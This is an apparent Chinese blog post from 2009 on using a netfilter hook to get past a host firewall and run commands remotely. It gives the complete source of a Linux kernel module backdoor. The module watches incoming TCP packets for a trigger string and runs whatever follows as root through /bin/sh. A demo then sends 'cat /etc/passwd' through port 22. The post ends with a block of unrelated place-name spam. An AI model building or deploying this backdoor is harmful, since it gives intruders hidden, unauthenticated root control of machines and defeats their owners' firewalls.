海闊天空

          I'm on my way!
          隨筆 - 17, 文章 - 69, 評論 - 21, 引用 - 0
          數據加載中……

          利用netfilter來突破防火墻, 實現遠程執行命令

          前幾天看了rwrk這個rk的demo, 它就是利用netfilter hook住了進入主機的數據包, hook點是NF_IP_PRE_ROUTING, 因此可以在進入iptables之前提前實現數據包的過濾。在這個hook點上作文章就比較多了, 可以實現防火墻, 嗅探器, 當然也可以用來觸發回連后門, wnps就是這么來作的, 因此不管主機防火墻作的規則如何變態, 都有機會穿透它。下面這個demo用來演示分析tcp包的內容, 分析出里面的命令, 然后去執行它, 有點類似以前的icmp, ip包后門, 只不過這些都在內核來完成, 功能更強大。
          demo在ubuntu8.10 + 2.6.28上測試成功。

          wzt@wzt-laptop:~$ nc -vv localhost 22
          localhost [127.0.0.1] 22 (ssh) open
          SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
          @wnps-shell:cat /etc/passwd > /home/wzt/pass.log
          Protocol mismatch.
          sent 49, rcvd 58

          demsg:
          [ 957.255416] kexec test start ...
          [ 1029.692964] hook: function:hook_func-L125: got the tcp key .
          [ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
          [ 1029.692985]

          wzt@wzt-laptop:~$ ls -lht pass.log
          -rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

          +---------------------------------------------------------------------+

          #include <linux/kernel.h>
          #include <linux/init.h>
          #include <linux/module.h>
          #include <linux/version.h>
          #include <linux/string.h>
          #include <linux/kmod.h>
          #include <linux/vmalloc.h>
          #include <linux/workqueue.h>
          #include <linux/spinlock.h>
          #include <linux/socket.h>
          #include <linux/net.h>
          #include <linux/in.h>
          #include <linux/skbuff.h>
          #include <linux/ip.h>
          #include <linux/tcp.h>
          #include <linux/netfilter.h>
          #include <linux/netfilter_ipv4.h>
          #include <linux/icmp.h>
          #include <net/sock.h>
          #include <asm/uaccess.h>
          #include <asm/unistd.h>

          #define HOOK_DEBUG

          #ifdef HOOK_DEBUG
          #define DbgPrint(format, args...) \
                  printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
          #else
          #define DbgPrint(format, args...) do {} while(0);
          #endif

          #define TCP_SHELL_KEY   "@wnps-shell"

          #define PORT_NUM    6
          #define IP_NUM        20
          #define BUFF_NUM    512

          MODULE_LICENSE("GPL");
          MODULE_AUTHOR("wzt");

          struct exec_work {
              struct work_struct work;
              char *cmd;
          };

          static struct nf_hook_ops nfho;

          int kexec_user_app(void *data)
          {
              struct exec_work *work = data;
              int ret;
              char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
                  char *envp[] = { "HOME=/",
                                   "TERM=linux",
                                   "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
                                   NULL };
              ret = call_usermodehelper(argv[0], argv, envp, 1);

              return ret;
          }

          int execute_user_command(char *cmd)
          {
              struct exec_work *exec_work;

              exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
              exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

              INIT_WORK(&exec_work->work, kexec_user_app);
              strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

              schedule_work(&exec_work->work);

              return 0;
          }

          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
          #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                  struct sk_buff *sk = skb_copy(skb, 1);
          #else
              struct sk_buff *sk = *skb;
          #endif
                  struct iphdr *ip;
              struct tcphdr *tcphdr;
              char buf[BUFF_NUM], *data = NULL;
              char *p;

                  if (!sk)
                          return NF_ACCEPT;
                  
          #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
              ip = ip_hdr(sk);
          #else
              ip = sk->nh.iph;
          #endif

                  switch (ip->protocol) {
                          case 1:
                                  return NF_ACCEPT;
                                 
                          case 6:
          #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                                  tcphdr = ip_hdr(sk);

                                  tcphdr =
                                          (struct tcphdr *)((void *)sk->data +
                                                  ((struct iphdr *)sk->data)->ihl * 4);

                      data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
          #else
                                  tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

                      data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
          #endif

                                  /*
                                   * filter the connected tcp packet
                                   */
                      if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
                          DbgPrint("got the tcp key .\n");
                          p += strlen(TCP_SHELL_KEY) + 1;
                          DbgPrint("%s\n", p);
                          execute_user_command(p);
                                          goto out;
                      }

                      out:
                      memset(buf, '\0', BUFF_NUM);

                                  return NF_ACCEPT;
                         
                          default:
                                  return NF_ACCEPT;
                  }
          }

          static int kexec_test_init(void)
          {
              printk("kexec test start ...\n");

              nfho.hook = hook_func;
              nfho.owner = NULL;
              nfho.pf = PF_INET;

          #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                  nfho.hooknum = NF_INET_PRE_ROUTING;
          #else
                  nfho.hooknum = NF_IP_PRE_ROUTING;
          #endif

              nfho.priority = NF_IP_PRI_FIRST;
             
              nf_register_hook(&nfho);

              return 0;
          }

          static void kexec_test_exit(void)
          {
              printk("kexec test exit ...\n");
              nf_unregister_hook(&nfho);
          }

          module_init(kexec_test_init);
          module_exit(kexec_test_exit);

          posted on 2009-11-04 21:33 石頭@ 閱讀(417) 評論(0)  編輯  收藏 所屬分類: Tcp/Ip

          主站蜘蛛池模板: 荃湾区| 江川县| 神木县| 房山区| 麦盖提县| 天气| 丰城市| 共和县| 嘉定区| 宁津县| 师宗县| 榆中县| 商都县| 黑龙江省| 江门市| 安顺市| 仲巴县| 天气| 株洲县| 民权县| 苍南县| 金坛市| 昔阳县| 博湖县| 神农架林区| 和顺县| 望谟县| 宁国市| 肥乡县| 紫金县| 翁牛特旗| 富裕县| 楚雄市| 武安市| 茌平县| 马尔康县| 花莲市| 浙江省| 海南省| 泽库县| 陈巴尔虎旗|